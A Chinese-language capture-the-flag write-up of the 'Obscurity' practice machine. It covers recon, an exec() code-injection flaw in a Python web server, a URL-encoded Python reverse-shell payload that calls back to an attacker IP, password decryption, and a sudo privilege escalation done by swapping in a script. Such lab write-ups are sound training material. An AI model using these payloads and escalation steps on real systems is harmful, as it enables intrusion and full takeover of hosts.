<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    實戰打靶之Obscurity

    一顆小胡椒2022-11-24 13:50:00

    一、信息收集

    1.端口掃描

    使用nmap進行端口掃描,發現其開放了22、80、8080、9000端口。

    訪問其8080端口,發現是一個web界面。

    瀏覽頁面內容,提升有一些提示。

    提示存在一個py腳本,訪問看看。

    發現提示是404

    2.目錄爆破

    使用gobuster進行目錄爆破。

    gobuster dir-u http://10.10.10.168:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt ,發現都是404.

    3.使用wfuzz進行fuzz

    由于我們不知道文件存放在那個具體路徑下,所以將使用wfuzzurl 來定位http://10.10.10.168:8080/FUZZ/SuperSecureServer.py其路徑。

    wfuzz -c-w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py --hl 6 --hw 367

    發現它在/developer目錄之下。

    訪問看看。成功看到腳本內容。

    4.代碼分析

    將源碼copy出來,然后進行分析。

    import socket
    import threading
    from datetime import datetime
    import sys
    import os
    import mimetypes
    import urllib.parse
    import subprocess
    respTemplate = """HTTP/1.1 {statusNum} {statusCode}
    Date: {dateSent}
    Server: {server}
    Last-Modified: {modified}
    Content-Length: {length}
    Content-Type: {contentType}
    Connection: {connectionType}
    {body}
    """
    DOC_ROOT = "DocRoot"
    CODES = {"200": "OK", 
            "304": "NOT MODIFIED",
            "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
            "500": "INTERNAL SERVER ERROR"}
    MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
            "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
            "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}
    class Response:
        def __init__(self, **kwargs):
            self.__dict__.update(kwargs)
            now = datetime.now()
            self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
        def stringResponse(self):
            return respTemplate.format(**self.__dict__)
    class Request:
        def __init__(self, request):
            self.good = True
            try:
                request = self.parseRequest(request)
                self.method = request["method"]
                self.doc = request["doc"]
                self.vers = request["vers"]
                self.header = request["header"]
                self.body = request["body"]
            except:
                self.good = False
        def parseRequest(self, request):        
            req = request.strip("\r").split("\n")
            method,doc,vers = req[0].split(" ")
            header = req[1:-3]
            body = req[-1]
            headerDict = {}
            for param in header:
                pos = param.find(": ")
                key, val = param[:pos], param[pos+2:]
                headerDict.update({key: val})
            return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
    class Server:
        def __init__(self, host, port):    
            self.host = host
            self.port = port
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            self.sock.bind((self.host, self.port))
        def listen(self):
            self.sock.listen(5)
            while True:
                client, address = self.sock.accept()
                client.settimeout(60)
                threading.Thread(target = self.listenToClient,args = (client,address)).start()
        def listenToClient(self, client, address):
            size = 1024
            while True:
                try:
                    data = client.recv(size)
                    if data:
                        # Set the response to echo back the received data 
                        req = Request(data.decode())
                        self.handleRequest(req, client, address)
                        client.shutdown()
                        client.close()
                    else:
                        raise error('Client disconnected')
                except:
                    client.close()
                    return False
        
        def handleRequest(self, request, conn, address):
            if request.good:
    #            try:
                    # print(str(request.method) + " " + str(request.doc), end=' ')
                    # print("from {0}".format(address[0]))
    #            except Exception as e:
    #                print(e)
                document = self.serveDoc(request.doc, DOC_ROOT)
                statusNum=document["status"]
            else:
                document = self.serveDoc("/errors/400.html", DOC_ROOT)
                statusNum="400"
            body = document["body"]
            
            statusCode=CODES[statusNum]
            dateSent = ""
            server = "BadHTTPServer"
            modified = ""
            length = len(body)
            contentType = document["mime"] # Try and identify MIME type from string
            connectionType = "Closed"
            resp = Response(
            statusNum=statusNum, statusCode=statusCode, 
            dateSent = dateSent, server = server, 
            modified = modified, length = length, 
            contentType = contentType, connectionType = connectionType, 
            body = body
            )
            data = resp.stringResponse()
            if not data:
                return -1
            conn.send(data.encode())
            return 0
        def serveDoc(self, path, docRoot):
            path = urllib.parse.unquote(path)
            try:
                info = "output = 'Document: {}'" # Keep the output for later debug
                exec(info.format(path)) # This is how you do string formatting, right?
                cwd = os.path.dirname(os.path.realpath(__file__))
                docRoot = os.path.join(cwd, docRoot)
                if path == "/":
                    path = "/index.html"
                requested = os.path.join(docRoot, path[1:])
                if os.path.isfile(requested):
                    mime = mimetypes.guess_type(requested)
                    mime = (mime if mime[0] != None else "text/html")
                    mime = MIMES[requested.split(".")[-1]]
                    try:
                        with open(requested, "r") as f:
                            data = f.read()
                    except:
                        with open(requested, "rb") as f:
                            data = f.read()
                    status = "200"
                else:
                    errorPage = os.path.join(docRoot, "errors", "404.html")
                    mime = "text/html"
                    with open(errorPage, "r") as f:
                        data = f.read().format(path)
                    status = "404"
            except Exception as e:
                print(e)
                errorPage = os.path.join(docRoot, "errors", "500.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read()
                status = "500"
            return {"body": data, "mime": mime, "status": status}
    

    在翻譯源碼過程中,第一眼就看到了注釋的地方。就想到了exec函數。

    根據 This is how you do string formatting, right?,的意思:不,這不是您進行字符串格式化的方式。path將用戶輸入 ( )傳遞給exec總是很危險的。我開始翻閱代碼,看看是否可以控制path它何時進入serveDoc.

    def handleRequest(self, request, conn, address):
        if request.good:
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
    

    還有這句注釋:Set the response to echo back the received data,然后開始讀源碼。如果這request.good為真,我會失去控制,path被硬編碼為"/errors/400.html".

    handleRequest從以下位置調用listenToClient:

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the received data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
    

    這是一個循環,它接收數據,處理成一個Request對象,然后調用handleRequest ,條件就是該Request對象.good是真,并且.doc是我的測試代碼。

    該類Request將數據轉換為對象__init__:

    class Request:
        def __init__(self, request):
            self.good = True
            try:
                request = self.parseRequest(request)
                self.method = request["method"]
                self.doc = request["doc"]
                self.vers = request["vers"]
                self.header = request["header"]
                self.body = request["body"]
            except:
                self.good = False
        def parseRequest(self, request):
            req = request.strip("\r").split("\n")
            method,doc,vers = req[0].split(" ")
            header = req[1:-3]
            body = req[-1]
            headerDict = {}
            for param in header:
                pos = param.find(": ")
                key, val = param[:pos], param[pos+2:]
                headerDict.update({key: val})
            return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
    

    只要數據具有帶有 url、版本、標題和正文等正常格式,它就會返回self.good = True. 而且,這doc就是 url 字符串中的內容,是可控的。

    二、漏洞利用

    當exec在該字符串上調用時,它會保存output,但也會進行os.system調用。如果我想使用subprocess而不是運行進程os,我需要這樣做。/';os.system('ping%20-c%201%2010.10.10.168');'

    1.編寫poc

    http://10.10.10.168:8080/';importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.17.140",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    nc開始監聽1234端口

    2.反彈shell

    進入home目錄下,發現存在一個SuperSecureCrypt.py腳本,使用-h命令會提示其用法。

    還有一些pass.txt,check.txt等。

    使用python獲得交互式shell,python3 -c 'import pty; pty.spawn("/bin/bash")'

    3.獲取登錄密碼

    在BetterSSH目錄下,存在解密腳本check.txt、out.txt及passwordreminder.txt。

    使用腳本來獲取登錄密碼

    python3 SuperSecureCrypt.py -i passwordreminder.txt -d-k alexandrovich -o /dev/shm/.df

    成功獲取到登錄密碼。

    4.SSH登錄

    使用ssh進行遠程登錄。

    成功找到了第一個user.txt文件。

    三、權限提升

    sudo -l 發現了存在BetterSSH.py可執行root.

    1.腳本分析

    import sys
    import random, string
    import os
    import time
    import crypt
    import traceback
    import subprocess
    path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
    session = {"user": "", "authenticated": 0}
    try:
        session['user'] = input("Enter username: ")
        passW = input("Enter password: ")
        with open('/etc/shadow', 'r') as f:
            data = f.readlines()
        data = [(p.split(":") if "$" in p else None) for p in data]
        passwords = []
        for x in data:
            if not x == None:
                passwords.append(x)
        passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
        with open('/tmp/SSH/'+path, 'w') as f:
            f.write(passwordFile)
        time.sleep(.1)
        salt = ""
        realPass = ""
        for p in passwords:
            if p[0] == session['user']:
                salt, realPass = p[1].split('$')[2:]
                break
        if salt == "":
            print("Invalid user")
            os.remove('/tmp/SSH/'+path)
            sys.exit(0)
        salt = '$6$'+salt+'$'
        realPass = salt + realPass
        hash = crypt.crypt(passW, salt)
        if hash == realPass:
            print("Authed!")
            session['authenticated'] = 1
        else:
            print("Incorrect pass")
            os.remove('/tmp/SSH/'+path)
            sys.exit(0)
        os.remove(os.path.join('/tmp/SSH/',path))
    except Exception as e:
        traceback.print_exc()
        sys.exit(0)
    if session['authenticated'] == 1:
        while True:
            command = input(session['user'] + "@Obscure$ ")
            cmd = ['sudo', '-u',  session['user']]
            cmd.extend(command.split(" "))
            proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            o,e = proc.communicate()
            print('Output: ' + o.decode('ascii'))
            print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
    

    這個腳本:

    • 創建一個隨機路徑名。
    • 從用戶那里讀取用戶名和密碼。
    • 讀取/etc/shadow、提取包含 的行$并將其寫入/tmp/SSH/[random path].
    • 睡眠 0.1 秒。
    • 循環修剪文件中的每一行shadow,并根據輸入密碼的哈希檢查每個哈希。成功時,它設置session['authenticated'] = 1. 失敗時,它會刪除臨時shadow文件并退出。
    • 刪除臨時shadow文件。
    • 進入讀取命令、執行命令并顯示結果的無限循環。

    2.創建一個/tmp/SSH目錄,必須是大寫,小寫的會報錯。

    輸入之前獲取到的用戶和密碼。使用sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py執行腳本。

    出現Authed,然后退出。

    2.移動BetterSSH 目錄進行權限提升

    使用ls -ld robert進行查看其權限,同理也查看一下BetterSSH的。

    我的思路就是打算刪除這個目錄,然后重新創建一個,寫入提權的腳本。

    使用rm -rf 強制刪除,提升權限不夠。這里有一個小trips,我們不能刪除,我們可以將它進行移動。然后在創建一個新的。使用mv BetterSSH{,-old}來完成操作。

    然后mkdir創建新的目錄。使用echo寫入提權語法。最后使用sudo執行腳本。

    echo -e '#!/usr/bin/env python3\n\nimport pty\n\npty.spawn("bash")'
    echo -e '#!/usr/bin/env python3\n\nimport pty\n\npty.spawn("bash")' > BetterSSH/BetterSSH.py 
    sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
    

    3.獲得root權限

    成功獲得root權限,并最后找到了root.txt,成功完成靶機。

    總結:

    靶機難度屬于中等靶機水平,全文思路就是信息收集,使用nmap或者masscan進行端口掃描,訪問web頁面,發現提示,接著使用wfuzz進行指定路徑fuzz。然后找到py腳本,接著進行腳本分析,發現腳本存在的漏洞。構造poc然后進行反彈shell,反彈shell之后,發現存在另一個新的腳本,存在密碼加密方式和密碼本。進行解密,解密之后使用ssh進行遠程登錄。使用sudo -l發現xx路徑下的python腳本擁有root權限,接著進行移動該目錄寫入提權語法成功提權。

    mimedoc
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    1Docker 遷移存儲目錄默認情況系統會將 Docker 容器存放在 /var/lib/docker 目錄下[問題起因]?今天通過監控系統,發現公司其中一臺服務器的磁盤快慢,隨即上去看了下,發現?由上述原因,我們都知道,在?中存儲的都是相關于容器的存儲,所以也不能隨便的將其刪除掉。設備進行擴容來達到相同的目的。的詳細參數,請點擊查看?但是需要注意的一點就是,盡量不要用軟鏈, 因為一些?容器編排系統不支持這樣做,比如我們所熟知的?發現容器啟動不了了
    一些web應用程序中允許上傳圖片,文本或者其他資源到指定的位置。 文件上傳漏洞就是利用網頁代碼中的文件上傳路徑變量過濾不嚴將可執行的文件上傳到一個到服務器中,再通過URL去訪問以執行惡意代碼。
    0x01 功能介紹 語雀是一個很方便的知識庫整理工具,每天都會有很多小伙伴在語雀上更新自己的文章 Tide安全團隊Wiki知識庫: https://www.yuque.com/tidesec Tide安全團隊的小伙伴每天都會把自己的學習過程及學習成功更新到語雀中,為了更方便讀者每天閱讀小伙伴的文章,lmn在此設計了一個小程序可以每天獲取一次當天在某個語雀知識庫中的更新文章 總功能有兩個
    實戰打靶之Obscurity
    2022-11-24 13:50:00
    訪問其8080端口,發現是一個web界面。瀏覽頁面內容,提升有一些提示。發現提示是4042.目錄爆破使用gobuster進行目錄爆破。gobuster dir-u http://10.10.10.168:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt ,發現都是404.3.使用wfuzz進行fuzz由于我們不知道文件存放在那個具體路徑下,所以將使用wfuzzurl 來定位http://10.10.10.168:8080/FUZZ/SuperSecureServer.py其路徑。wfuzz -c-w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py --hl 6 --hw 367發現它在/developer目錄之下。成功看到腳本內容。"400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
    雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
    Nginx 快速入門
    2022-05-11 16:36:35
    Nginx 是?款?性能的 http 服務器/反向代理服務器及電?郵件(IMAP/POP3)代理服務器。由俄羅斯的程序設計師伊?爾·?索夫(Igor Sysoev)所開發,官?測試 nginx 能夠??撐 5 萬并發鏈接,并且cpu、內存等資源消耗卻?常低,運??常穩定。
    最全Linux命令總結
    HTTP走私及變體總結
    2022-09-01 22:12:58
    HTTP請求走私是一種干擾網站處理從一個或多個用戶接收的HTTP請求序列的方式,用以繞過安全控制并獲得未經授權的訪問,執行惡意活動。Content-Length比實際消息長度長,請求將無響應直到超時。Transfer-Encoding: chunked代表數據以一系列分塊的形式進行發送.。Content-Length 首部在這種情況下應該不被發送。在HTTP協議消息頭中,使用Content-Type來表示請求和響應中的媒體類型信息。這個攻擊者便成功的利用了http請求走私漏洞。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类